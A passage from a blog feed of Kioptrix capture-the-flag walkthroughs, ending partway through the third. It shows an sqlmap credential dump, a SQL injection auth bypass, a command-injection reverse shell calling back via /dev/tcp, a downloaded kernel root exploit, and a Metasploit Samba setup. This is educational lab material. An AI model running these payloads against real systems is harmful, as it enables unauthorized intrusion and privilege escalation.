&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-investigation&quot; id=&quot;markdown-toc-web-application-investigation&quot;&gt;Web Application Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#non-privileged-shell&quot; id=&quot;markdown-toc-non-privileged-shell&quot;&gt;Non privileged shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#privilege-escalation&quot; id=&quot;markdown-toc-privilege-escalation&quot;&gt;Privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.&lt;/p&gt;

&lt;h2 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 4.7p1 Debian 8ubuntu1.3 (protocol 2.0)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-investigation&quot;&gt;Web Application Investigation&lt;/h2&gt;

&lt;p&gt;Enumeration of the website discovered it was likely vulnerable to an &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQL Injection&lt;/a&gt;, entering &lt;code&gt;id=&apos;&lt;/code&gt; rendered the following MySQL error:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/sql-error.png&quot; alt=&quot;SQL Error&quot; /&gt;&lt;/p&gt;

&lt;p&gt;SQLMap was used to successfully dump the databases and crack the hashes:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# sqlmap &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://kioptrix3.com/gallery/gallery.php?id=1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; dev_accounts &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt;

Database: gallery
Table: dev_accounts
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;2 entries]
+----+------------+---------------------------------------------+
| &lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt; | username   | password                                    |
+----+------------+---------------------------------------------+
| 1  | dreg       | 0d3eccfb887aabd50f243b3f155c0f85 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;Mast3r&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;   |
| 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;starwars&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; |
+----+------------+---------------------------------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;non-privileged-shell&quot;&gt;Non privileged shell&lt;/h2&gt;

&lt;p&gt;Due to password reuse both accounts were able to ssh, dreg had a limited shell.&lt;/p&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;Local enumeration of loneferrets home dir disclosed:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;loneferret@Kioptrix3:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;CompanyPolicy.README
Hello new employee,
It is company policy here to use our newly installed software &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;editing, creating and viewing files.
Please use the &lt;span class=&quot;nb&quot;&gt;command&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;sudo ht&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
Failure to &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;so will result &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;you immediate termination.

DG
CEO&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;privilege-escalation&quot;&gt;Privilege Escalation&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo ht&lt;/code&gt; rendered a file explorer, the user &lt;code&gt;loneferret&lt;/code&gt; was added to the sudoers group, making privilege escalation trivial.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/sudo-ht.png&quot; alt=&quot;sudo ht&quot; /&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;loneferret@Kioptrix3:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
root@Kioptrix3:~# &lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
root@Kioptrix3:~#&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        </item>
        
      
    
      
        
        <item>
          <title>Kioptrix Level 1.1 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/kioptrix-level-1-1-walkthrough/</link>
          <pubDate>Wed, 20 Dec 2023 14:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Kioptrix</category>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/kioptrix-level-1-1-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-application-investigation&quot; id=&quot;markdown-toc-web-application-investigation&quot;&gt;Web Application Investigation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#non-privileged-shell&quot; id=&quot;markdown-toc-non-privileged-shell&quot;&gt;Non privileged shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-privilege-escalation&quot; id=&quot;markdown-toc-local-privilege-escalation&quot;&gt;Local privilege Escalation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.&lt;/p&gt;

&lt;h2 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 3.9p1 (protocol 1.99)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.0.52 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 111&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC Bind&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 443&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.0.52 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 631&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;CUPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;CUPS 1.1&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 946&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;RPC&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 3306&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;MySQL&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;MySQL (unauthorized)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;web-application-investigation&quot;&gt;Web Application Investigation&lt;/h2&gt;

&lt;p&gt;The web form &lt;code&gt;/index.php&lt;/code&gt; was vulnerable to &lt;a href=&quot;/penetration-testing/web-app/sql-injection/&quot;&gt;SQL injection&lt;/a&gt;, entering the username &lt;code&gt;admin&lt;/code&gt; and the password &lt;code&gt;&apos; or &apos;1&apos;=&apos; &lt;/code&gt; successfully bypassed auth.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/sql-injection-1-1.png&quot; alt=&quot;SQL Injection Auth Bypass&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;note info&quot;&gt;
  &lt;h5&gt;SQL Injection - Why does &apos; or &apos;1&apos;=&apos;1 work ?&lt;/h5&gt;
  &lt;p&gt;

  The web application is expecting the SQL query:

  &lt;code&gt;$query = &quot;SELECT * FROM users WHERE username = &apos;admin&apos; AND password=&apos;blah&apos;&quot;;&lt;/code&gt;

  Entering the above &lt;b&gt;injects&lt;/b&gt; the statement after the &lt;code&gt;password=&apos;blah&apos;&lt;/code&gt; and before the closing &lt;code&gt;&quot;;&lt;/code&gt;, the entire sql injection query looks like:

  &lt;code&gt;$query = &quot;SELECT * FROM users WHERE username = &apos;admin&apos; AND password=&apos; or &apos;1&apos;=&apos;1&quot;;&quot;&lt;/code&gt;

  &lt;code&gt;1 = 1&lt;/code&gt; will always be &lt;code&gt;1&lt;/code&gt;, thus the statement will return true, allowing an attacker to authenticate as admin. The above injection statement correctly closes the sql syntax, however it is possible to comment out the rest of the sql statement using: &lt;code&gt; -- -&lt;/code&gt;

  &lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/kioptrix/command-injection.png&quot; alt=&quot;Command Injection&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The above authentication bypass exposed a web form vulnerable to &lt;b&gt;command injection&lt;/b&gt;, the form filtering only checks for the presence of the ping command with no filtering to prevent an attacker tacking a comment on the end using &lt;code&gt;; insert-command-here&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;non-privileged-shell&quot;&gt;Non privileged shell&lt;/h2&gt;

&lt;p&gt;A non privileged reverse shell was obtained using:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ping google.com&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; bash &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&amp;amp; /dev/tcp/192.168.221.139/443 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# nc &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.139] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.157] 32770
bash: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
bash-3.00&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
bash-3.00&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local privilege Escalation&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;bash-3.00&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;uname&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ar&lt;/span&gt;
Linux kioptrix.level2 2.6.9-55.EL &lt;span class=&quot;c&quot;&gt;#1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux&lt;/span&gt;
bash-3.00&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /tmp
bash-3.00&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;wget https://www.exploit-db.com/download/9545 &lt;span class=&quot;nt&quot;&gt;--no-check-certificate&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;--02&lt;/span&gt;:27:58--  https://www.exploit-db.com/download/9545
           &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;9545&lt;span class=&quot;s1&quot;&gt;&apos;
Resolving www.exploit-db.com... 192.124.249.8
Connecting to www.exploit-db.com|192.124.249.8|:443... connected.
WARNING: Certificate verification error for www.exploit-db.com: unable to get local issuer certificate
WARNING: certificate common name `*.mycloudproxy.com&apos;&lt;/span&gt; doesn&lt;span class=&quot;s1&quot;&gt;&apos;t match requested host name `www.exploit-db.com&apos;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
HTTP request sent, awaiting response... 200 OK
Length: unspecified &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;application/txt]

    0K .........                                                30.10 MB/s

02:27:58 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;30.10 MB/s&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; - &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;9545&lt;span class=&quot;s1&quot;&gt;&apos; saved [9785]

bash-3.00$ mv 9545 sock_sendpage.c                             
bash-3.00$ gcc -o sock_sendpage sock_sendpage.c
bash-3.00$ ./sock_sendpage
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
sh-3.00#&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Kioptrix Level 1 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/kioptrix-level-1-walkthrough/</link>
          <pubDate>Tue, 19 Dec 2023 14:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Kioptrix</category>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/kioptrix-level-1-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#samba-enumeration&quot; id=&quot;markdown-toc-samba-enumeration&quot;&gt;Samba Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#metasploit-exploit&quot; id=&quot;markdown-toc-metasploit-exploit&quot;&gt;Metasploit Exploit&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root-flag&quot; id=&quot;markdown-toc-root-flag&quot;&gt;Root Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.&lt;/p&gt;

&lt;h2 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h2&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 22&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;SSH&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;OpenSSH 2.9p2 (protocol 1.99)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 1.3.20 ((Unix)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 111&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;RPC Bind&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;N/A&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 139&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;netbios-ssn&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Samba&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 443&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
              &lt;pc&gt;&lt;p&gt;HTTPS&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 1.3.20 ((Unix)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;

      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;samba-enumeration&quot;&gt;Samba Enumeration&lt;/h2&gt;

&lt;p&gt;Based on the age of the system other services, I know from exeperience that SAMBA is likely vulnerable to the trans2open exploit.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;use exploit/linux/samba/trans2open

msf exploit&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;trans2open&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; show options

Module options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;exploit/linux/samba/trans2open&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name   Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   RHOST  192.168.221.156  &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target address
   RPORT  139              &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The target port


Payload options &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;generic/shell_reverse_tcp&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;:

   Name   Current Setting  Required  Description
   &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;   &lt;span class=&quot;nt&quot;&gt;---------------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;--------&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-----------&lt;/span&gt;
   LHOST  192.168.221.139  &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen address
   LPORT  4444             &lt;span class=&quot;nb&quot;&gt;yes       &lt;/span&gt;The listen port


Exploit target:

   Id  Name
   &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;----&lt;/span&gt;
   0   Samba 2.2.x - Bruteforce&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;metasploit-exploit&quot;&gt;Metasploit Exploit&lt;/h2&gt;

